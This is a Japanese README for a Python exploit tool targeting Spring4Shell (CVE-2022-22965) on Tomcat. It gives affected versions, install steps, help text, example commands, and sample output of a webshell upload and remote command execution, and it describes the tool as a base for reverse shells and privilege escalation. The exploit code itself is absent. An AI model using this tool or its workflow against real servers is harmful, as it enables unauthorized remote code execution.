
spring4shell | CVE-2022-22965
CVE-2022-22965 の Python 実装で、SSH セッション風のプロンプトをユーザーに提供します。
このスクリプトは、読みやすさとアクセシビリティの両方を考慮し、ユーザーの選択に応じて、理解しやすく実行しやすいように設計されています。Tomcat サーバー上の脆弱性を悪用するために設計されています。サーバー上の fileDateFormat フィールドは、スクリプトの一部として設定および解除されるため、エクスプロイトを複数回実行できます。クリーンアップが必要な場合があります。
対象となる脆弱性は
Java Spring Framework のバージョン 5.2 より前、ならびに 5.3.0-17 と 5.2.0-19 で、Java Development Kit のバージョン 9 以上で実行されているものです。
詳細情報:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965
エクスプロイトを実行するには、requests モジュールと BeautifulSoup モジュールが必要です。これらは次でインストールできます:
pip3 install bs4
pip3 install requests
他のモジュールはすべて Python3 に組み込まれています。
このスクリプトを実行するには、脆弱なサーバーの URL のみが必要です。ただし、アクセスの容易さなどを目的とした他のフラグもあります。
--help の出力:
usage: spring4shell_v3.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] [-a] [-n] address
spring4shell_v3.py exploits an RCE vulnerability in
applications running spring core java framework.
positional arguments:
address ip/hostname, port, sub-directories to the vulnerable spring core framework on tomcat
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
name of the file to create and upload
-p PASSWORD, --password PASSWORD
password to protect the uploaded shell
-d DIRECTORY, --directory DIRECTORY
The upload path for the file
-a, --accessible turns off features which may negatively affect screen readers
-n, --no-colour removes colour output
example:
spring4shell_v3.py http://10.10.10.10/
spring4shell_v3.py http://hostname:8080/ -p 'password123'
spring4shell_v3.py http://10.10.10.10/subdir/ -a -f 'jsp-shell'
出力例:
./spring4shell http://spring-vuln.local
/ / | / / /
___ ___ ___ ___ ___ (___| ___ (___ ___ ( (
|___ | )| )| | )| ) )|___ | )|___)| |
__/ |__/ | | | / |__/ / __/ | / |__ | |
| __/
CVE-2022-22965.
[i] attempting to change tomcat log variables.
[+] log variables set successfully.
[+] attempting to change tomcat log location variables.
[+] log successfully modified.
[i] waiting for tomcat changes.
[i] sending the webshell.
[i] resetting the log variables.
[i] shell location:
[i] http://spring-vuln.local/20df2b10c787d5ae.jsp?pwd=bd72c5e8&cmd=whoami
[i] or run commands here. type 'exit' to quit.
spring4shell:[email protected] $ whoami
service
spring4shell:[email protected] $
言うまでもなく、このスクリプトはユーザーに完全なシェルを提供するものではなく、ターゲット上で完全なリバースシェルや権限昇格などを達成するためのプラットフォームとして設計されています。
このスクリプトは、脆弱なサーバーを実行しているユーザー/サービスを取得しようとし、プログラム内の擬似コマンドプロンプトの一部として使用しますが、これは常に信頼できるとは限りません。
このスクリプトは、主に読みやすさとアクセシビリティを考慮した単一のエクスプロイトのための Python スクリプティング演習でした。使いやすさと理解しやすさを重視して設計されています。一般的な例外を処理しようとします。
https://skerritt.blog/a11y/ - アクセシビリティ実装。